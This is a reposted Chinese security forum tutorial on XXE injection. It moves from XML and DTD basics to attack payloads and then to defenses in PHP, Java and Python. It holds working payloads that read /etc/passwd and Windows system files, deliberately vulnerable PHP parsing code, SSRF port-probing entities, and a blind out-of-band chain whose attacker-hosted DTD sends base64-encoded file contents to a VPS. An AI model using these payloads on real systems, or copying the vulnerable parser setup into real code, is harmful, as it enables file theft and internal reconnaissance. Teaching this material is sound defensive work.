安全矩阵

 找回密码
 立即注册
搜索
查看: 4561|回复: 0

漏洞梳理篇之XXE

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-11-9 09:22:47 | 显示全部楼层 |阅读模式
原文链接:漏洞梳理篇之XXE

1.什么是XML
XML 模式通常被称为 XML 模式定义(XSD)。它被用来描述和验证 XML 数据的结构和内容。XML 模式定义元素,属性和数据类型。模式元素也支持命名空间。它类似于描述数据库中数据的数据库模式。

1.1元素
XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。元素可包含其他元素、文本或者两者的混合物。元素也可以拥有属性。如:
  1. <bookstore>
  2. <book category="CHILDREN">
  3.   <title>Harry Potter</title>
  4.   <author>J K. Rowling</author>
  5.   <year>2005</year>
  6.   <price>29.99</price>
  7. </book>
  8. <book category="WEB">
  9.   <title>Learning XML</title>
  10.   <author>Erik T. Ray</author>
  11.   <year>2003</year>
  12.   <price>39.95</price>
  13. </book>
  14. </bookstore>
复制代码

在上例中,<bookstore> 和 <book> 都拥有*元素内容*,因为它们包含了其他元素。<author>只有*文本内容*,因为它仅包含文本。另外,只有 <book> 元素拥有*属性* (category="CHILDREN")。


1.2 属性
XML 元素可以在开始标签中包含属性,类似 HTML。属性 (Attribute) 提供关于元素的额外(附加)信息。
  1. <file type="gif">computer.gif</file>
复制代码

1.3 实体
实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。
  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体


XML 中的实体用于表示特殊字符(通常难以或不可能在标准键盘上输入),重用 XML 代码段,将文档组织为几个文件,以及简化 DTD 的编写。

  • ' 是一个撇号:'
  • & 是一个与字符:&
  • " 是一个引号:"
  • < 是一个小于号:<
  • > 是一个大于号:>


    外部实体的概念:
外部实体表示外部文件的内容。外部实体引用其他文件

  1. <!ENTITY chap1 SYSTEM "chapter-1.xml">
  2. <!ENTITY chap2 SYSTEM "chapter-2.xml">
  3. <!ENTITY chap3 SYSTEM "chapter-3.xml">
复制代码

1.4 PCDATA

PCDATA是XML解析器解析的文本数据使用的一个术语。XML 文档中的文本通常解析为字符数据,或者(按照文档类型定义术语)称为 PCDATA。XML 解析器通常会解析 XML 文档中所有的文本。当某个 XML 元素被解析时,其标签之间的文本也会被解析:

  1. <message>This text is also parsed</message>
复制代码
解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个实例中,其中的元素包含着另外的两个元素(first 和 last):
  1. <name><first>Bill</first><last>Gates</last></name>
复制代码
而解析器会把它分解为像这样的子元素:
  1. <name>
  2. <first>Bill</first>
  3. <last>Gates</last>
  4. </name>
复制代码


1.5 CDATA

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 "" 结束。

术语 CDATA 是不应该由 XML 解析器解析的文本数据。像 "<" 和 "&" 字符在 XML 元素中都是非法的。"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。"&" 会产生错误,因为解析器会把该字符解释为字符实体的开始。某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 "" 结束:

  1. <script>
  2. <![CDATA[
  3. function matchwo(a,b)
  4. {
  5. if (a < b && a < 0) then
  6. {
  7.   return 1;}
  8.   else
  9. {
  10.   return 0;}
  11. }
  12. ]]>
  13. </script>
复制代码

2.什么是DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

2.1内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:


  1. <!DOCTYPE root-element [element-declarations]>
复制代码
带有 DTD 的 XML 文档实例:
  1. <?xml version="1.0" ?>
  2. <! DOCTYPE note [
  3. <!ELEMENT note (to,from,heading,body)>
  4. <!ELEMENT to (#PCDATA)>
  5. <!ELEMENT from (#PCDATA)>
  6. <!ELEMENT heading (#PCDATA)>
  7. <!ELEMENT body (#PCDATA)>
  8. ]>
  9. <note>
  10. <to>Tove</to>
  11. <from>Jani</from>
  12. <heading>Reminder</heading>
  13. <body>Don't forget me this weekend!</body>
  14. </note>
复制代码

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
  • !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
  • !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
  • !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
  • !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型


2.2外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

  1. <!DOCTYPE root-element SYSTEM "filename">
复制代码
虽然这个 XML 文档和内部的文档声明相同,但是拥有一个外部的 DTD:
  1. <?xml version="1.0"?>
  2. <!DOCTYPE note SYSTEM "note.dtd">
  3. <note>
  4. <to>Tove</to>
  5. <from>Jani</from>
  6. <heading>Reminder</heading>
  7. <body>Don't forget me this weekend!</body>
  8. </note>
复制代码
这是包含 DTD 的 "note.dtd" 文件:
  1. <! DOCTYPE note [
  2. <!ELEMENT note (to,from,heading,body)>
  3. <!ELEMENT to (#PCDATA)>
  4. <!ELEMENT from (#PCDATA)>
  5. <!ELEMENT heading (#PCDATA)>
  6. <!ELEMENT body (#PCDATA)>
  7. ]>
复制代码

2.3 DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量
  • 实体引用是对实体的引用
  • 实体可在内部或外部进行声明


可分为内部实体和外部实体
  • 内部实体
  • 外部实体


也可以分为一般实体和参数实体(内部外部都有)
  • 一般实体(格式:&实体引用名;)
  • 参数实体(格式:%实体引用名;)


内部实体声明

  1. # 语法:
  2. <!ENTITY entity-name "entity-value">
复制代码
一般实体
  1. <!ENTITY writer "Donald Duck.">
  2. <!ENTITY copyright "Copyright runoob.com">

  3. <author>&writer;©right;</author>
复制代码
参数实体
  1. <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
  2. <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
  3. %an-element; %remote-dtd;

  4. <author>%writer;%copyright;</author>
复制代码
外部实体声明
  1. #一般实体格式:
  2. <!ENTITY 实体名称 "实体的值">
  3. <!ENTITY writer SYSTEM "http://somewhere.example.org/remote.dtd">
  4. <!ENTITY copyright SYSTEM "http://somewhere.example.org/remote.dtd">

  5. <author>&writer;©right;</author>
复制代码
参数实体
  1. <?xml version="1.0"?>
  2. <!DOCTYPE test [
  3. <!ENTITY % writer SYSTEM "http://somewhere.example.org/remote.dtd">
  4. <!ENTITY % copyright SYSTEM "http://somewhere.example.org/remote.dtd">
  5. ]>

  6. <author>%writer;%copyright;</author>
复制代码

外部实体默认支持的协议




而且PHP在安装扩展后还能支持下面的协议:

3.XXE攻击
3.1 什么是XXE
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体 时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执 行系统命令等。

3.2 如何构建XXE
①通过DTD外部实体声明进行攻击

  1. <?xml version="1.0"?>
  2. <!DOCTYPE a[
  3. <!ENTITY ali SYSTEM "file:///etc/passwd">
  4. ]>
  5. <a>&ali;</a>
复制代码
②通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明(一般实体)
  1. <?xml version="1.0"?>
  2. <!DOCTYPE go [
  3. <!ENTITY ali SYSTEM "http://xmltest.com/xml.dtd">
  4. ]>
  5. <a>&ali;</a>

  6. #http://xmltest.com/xml.dtd内容如下
  7. <!ENTITY ali SYSTEM "file:///etc/passwd">
复制代码

3.3 XXE漏洞利用
①本地任意文件读取(有回显),在服务器上面将doLogin.php修改为如下:

  1. <?php
  2. libxml_disable_entity_loader (false);
  3. $xmlfile = file_get_contents('php://input');
  4. $dom = new DOMDocument();
  5. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  6. $creds = simplexml_import_dom($dom);
  7. echo $creds;
  8. ?>
复制代码
Windows系统使用payload:
  1. <?xml version="1.0" encoding="utf-8"?>
  2.   <!DOCTYPE creds [
  3.   <!ENTITY ali SYSTEM "file:///c:/windows/system.ini"> ]>
  4. <creds>&ali;</creds>
复制代码



可以看到文件成功读取,但是可以看到读取的文件中并没有特殊符号,如果文件存在符号呢?

尝试文件读取:

发现当腰读取的文件中有特殊符回报错,无法读取到想要的文件。此时使用 CDATA解决报错问题,我们将读出来的数据,放在CDATA中输出即可;CDATA 部分中的所有内容都会被解析器忽略。在前面有讲到:
在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
https://mp.weixin.qq.com/cgi-bin ... 8616&lang=zh_CN
使用payload:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE roottag [
  3. <!ENTITY % start "<![CDATA[">
  4. <!ENTITY % goodies SYSTEM "file:///d:/test.txt">
  5. <!ENTITY % end "]]>">
  6. <!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
  7. %dtd; ]>
  8. <roottag>&all;</roottag>
复制代码
evil.dtd
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!ENTITY all "%start;%goodies;%end;">
复制代码

②本地任意文件读取(无回显)
在正常的环境中,使用XXE读取文件的时候,是没有回显的,这个时候呢可以把数据外带出来。除了发起请求以外,还得把我们的数据传出去,而且我们本身的数据也是一个对外的请求;所以就要对外请求两次,一次请求获取我们的数据,另外一次请求传送出我们的数据。使用参数实体进行实体引用了。

XXE_1.php

  1. <?php
  2. libxml_disable_entity_loader (false);
  3. $xmlfile = file_get_contents('php://input');
  4. $dom = new DOMDocument();
  5. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  6. ?>
复制代码
在VPS上创建一个test.dtd
  1. <!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps的ip:端口/%file;'>">
  2. %all;
复制代码



然后在VPS上开启http服务,端口为test.dtd中的端口。payload:


  1. <!DOCTYPE message [
  2.   <!ENTITY % remote SYSTEM "http://VPS的http服务/test.dtd">
  3.   <!ENTITY % file SYSTEM "php://filter/read=convert.base64-
  4. encode/resource=file:///C:/test.txt">
  5.   %remote;
  6.   %int;
  7.   %send;
  8. ]>
复制代码

这里用到base64编码,是因为避免读取数据时候,遇到空格无法读出





解密:



被攻击者:

可以看看调用的过程:
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序, %remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填 入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回 显的问
-https://xz.aliyun.com/t/3357#toc-9
刚刚使用的Blind OOB XXE攻击方法,是通过file协议读取本地文件,前面也写到每个语言也可以使用多 种协议(见 2.3.2外部实体声明----外部实体默认支持的协议)

③探测内网
通过前面的Blind OOB XXE方法可以看出,也可以进行SSRF,XXE 也是一种 SSRF 的攻击手法。可以进行内网的地址、端口的探测 可以利用服务器响应时间的长短来判断端口是否被开启


  1. <?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[
  2. <!ENTITY ali SYSTEM "http://ip:port">
  3. ]>

  4. <reset><login>&ali;</login><secret>Any bugs?</secret></reset>
复制代码

探测80端口,显示信息如下:




探测3389端口,时间响应很久,可以看出3389端口并未打开


也可以查看响应包确认端口是否开放,通过返回的“HTTP request failed” 可以知道445端口是关闭的


4.XXE的防御
①使用开发语言提供的禁用外部实体的方法
PHP:

  1. libxml_disable_entity_loader(true);
复制代码
JAVA:
  1. DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  2. dbf.setExpandEntityReferences(false);
复制代码
Python:
  1. from lxml import etree

  2. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码

②过滤用户提交的XML数据
对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤
③检查所使用的底层xml解析库,默认禁止外部实体的解析









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:00 , Processed in 0.014222 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表